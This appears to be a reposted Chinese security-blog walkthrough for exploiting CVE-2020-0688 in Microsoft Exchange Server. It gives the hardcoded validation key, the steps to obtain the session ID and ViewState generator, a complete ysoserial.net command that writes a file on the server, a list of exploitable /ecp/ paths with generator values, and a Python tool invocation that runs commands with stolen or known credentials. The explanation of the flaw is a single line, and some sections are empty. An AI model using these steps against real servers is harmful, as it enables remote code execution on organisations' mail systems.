背景
2020年2月11日,微软针对Microsoft Exchange Server中的一个严重漏洞发布了一个补丁。最初,Microsoft 将此标记为Microsoft Exchange中的内存损坏漏洞。不过,微软此后更改了该漏洞的标题和描述,更改为Microsoft Exchange验证密钥远程代码执行漏洞,描述为当服务器未能在安装时正确创建唯一密钥时,Microsoft Exchange Server中存在远程代码执行漏洞。微软将此漏洞评为重要,但指出利用的可能性更大。
影响版本
Microsoft Exchange Server 2010 Service Pack 3
Microsoft Exchange Server 2013
Microsoft Exchange Server 2016
Microsoft Exchange Server 2019
--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
--validationalg = SHA1
--generator=B97B4E27
--viewstateuserkey = ASP.NET_SessionId
1.获取viewstateuserkey和generator值
在Exchange Web上正常登录后访问/ecp/default.aspx页面,通过浏览器使用F12开发者工具的Network选项,刷新页面重新发送请求,可以找到登录时/ecp/default.aspx的原始响应,然后在Cookie选项中即可找到ASP.NET_SessionId的Cookie,如图 所示;
图 ASP.NET_SessionId的Cookie
在Response选项卡搜索__VIEWSTATEGENERATOR获取字段值(如图 所示),如果未找到此字段可以直接使用默认值B97B4E27;
图 获取__VIEWSTATEGENERATOR字段值
2.使用ysoserial.net生成payload
ysoserial.net是一种概念验证工具,可以在常见 .NET 库中发现的实用程序和面向属性的编程“小工具链”的集合,用于在适当的条件下利用 .NET 应用程序执行不安全的对象反序列化。工具下载地址:https://github.com/pwntester/ysoserial.net/,我们可以使用来生成Payload(如图 所示),例如生成一个启动计算器的Payload命令:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c
"echo OOOPS!!! > c:/Vuln_Server.txt" --validationalg="SHA1"
--validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A253
03BF" --generator="B97B4E27" --viewstateuserkey=" -ASP.NET_
SessionId:"01ce5e49-550b-4077-bb66-2791f50dd592" --isdebug
--islegacy
图 使用ysoserial.net生成Payload
3.构造攻击地址
4.访问URL触发漏洞
其他可用路径:
/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27
/ecp/PersonalSettings/HomePage.aspx?showhelp=false&__VIEWSTATEGENERATOR=1D01FD4E
/ecp/PersonalSettings/HomePage.aspx?showhelp=false&__VIEWSTATEGENERATOR=1D01FD4E
/ecp/Organize/AutomaticReplies.slab?showhelp=false&__VIEWSTATEGENERATOR=FD338EE0
/ecp/RulesEditor/InboxRules.slab?showhelp=false&__VIEWSTATEGENERATOR=FD338EE0
/ecp/Organize/DeliveryReports.slab?showhelp=false&__VIEWSTATEGENERATOR=FD338EE0
/ecp/MyGroups/PersonalGroups.aspx?showhelp=false&__VIEWSTATEGENERATOR=A767F62B
/ecp/MyGroups/ViewDistributionGroup.aspx?pwmcid=1&id=38f4bec5-704f-4272-a654-95d53150e2ae&ReturnObjectType=1&__VIEWSTATEGENERATOR=321473B8
/ecp/Customize/Messaging.aspx?showhelp=false&__VIEWSTATEGENERATOR=9C5731F0
/ecp/Customize/General.aspx?showhelp=false&__VIEWSTATEGENERATOR=72B13321
/ecp/Customize/Calendar.aspx?showhelp=false&__VIEWSTATEGENERATOR=4AD51055
/ecp/Customize/SentItems.aspx?showhelp=false& __VIEWSTATEGENERATOR=4466B13F
/ecp/PersonalSettings/Password.aspx?showhelp=false&__VIEWSTATEGENERATOR=59543DCA
/ecp/SMS/TextMessaging.slab?showhelp=false&__VIEWSTATEGENERATOR=FD338EE0
/ecp/TroubleShooting/MobileDevices.slab?showhelp=false&__VIEWSTATEGENERATOR=FD338EE0
/ecp/Customize/Regional.aspx?showhelp=false&__VIEWSTATEGENERATOR=9097CD08
/ecp/MyGroups/SearchAllGroups.slab?pwmcid=3&ReturnObjectType=1__VIEWSTATEGENERATOR=FD338EE0
/ecp/Security/BlockOrAllow.aspx?showhelp=false&__VIEWSTATEGENERATOR=362253EF
图 目标主机上文件创建成功
方法二:使用工具进行利用
1.ExchangeDetect和ExchangeCmd
2.Cve-2020-0688.py
usage: cve-2020-0688.py [-h] -s SERVER -u USER -p PASSWORD -c CMD
optional arguments:
-h, --help show this help message and exit
-s SERVER, --server SERVER
ECP Server URL Example: http://ip/owa
-u USER, --user USER login account Example: domain\user
-p PASSWORD, --password PASSWORD
Password
-c CMD, --cmd CMD Command u want to execute
python cve-2020-0688.py -s 192.168.0.100 -u limu -p 1qaz@WSX123-c "whoami /all"
漏洞原理
ExchangeInstallPath%\ClientAccess\ecp\web.config ,
validationKey:CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
结论
本文分享自微信公众号 - 黑白天实验室(li0981jing)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。